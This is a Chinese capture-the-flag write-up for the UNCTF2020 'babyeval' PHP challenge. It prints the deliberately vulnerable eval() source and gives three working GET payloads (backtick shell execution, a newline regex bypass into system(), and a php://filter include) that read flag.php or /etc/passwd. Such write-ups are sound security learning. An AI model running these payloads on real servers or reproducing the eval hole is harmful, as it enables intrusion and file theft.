zoukankan      html  css  js  c++  java
  • UNCTF2020-WEB:babyeval(php执行运算符|php过滤括号|换行符绕过正则)

    php执行运算符

    代码:

    <?php
        echo `base64 /etc/passwd`;
    ?>

    上面的代码使用了反引号,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)

    如果过滤了括号可以使用执行运算符去绕过进行输出

    题目源码:

    <?php
        // flag在flag.php
        if(isset($_GET['a'])){
            if(preg_match('/(.*)/', $_GET['a']))
                die('hacker!!!');
            ob_start(function($data){
                     if (strpos($data, 'flag') !== false)
                     return 'ByeBye hacker';
                     return false;
                     });
            eval($_GET['a']);
        } else {
            highlight_file(__FILE__);
        }
        ?>

    exp1:php执行运算符

    GET /?a=echo `base64 flag.php`

    exp2:换行符绕过(%0a)

    GET /?a=system(%27%0acat%20f*%20|%20base64%27);

    exp3:利用include函数加php伪协议

    GET /a=include%20%27php://filter/convert.base64-encode/resource=./flag.php%27;


    参考:https://www.php.net/manual/zh/language.operators.execution.php

              https://www.ctfwp.com/%E5%AE%98%E6%96%B9%E8%B5%9B%E4%BA%8B%E9%A2%98/2020UNCTF

  • 相关阅读:
    mac下配置openCV
    K最短路 A*算法
    KMP算法
    北航复试机试题
    1385重建二叉树
    二维数组中的查找
    简单的单向链表
    Getting Started with WebRTC [note]
    我的c漏洞
    PeerConnection
  • 原文地址:https://www.cnblogs.com/luocodes/p/14014947.html
Copyright © 2011-2022 走看看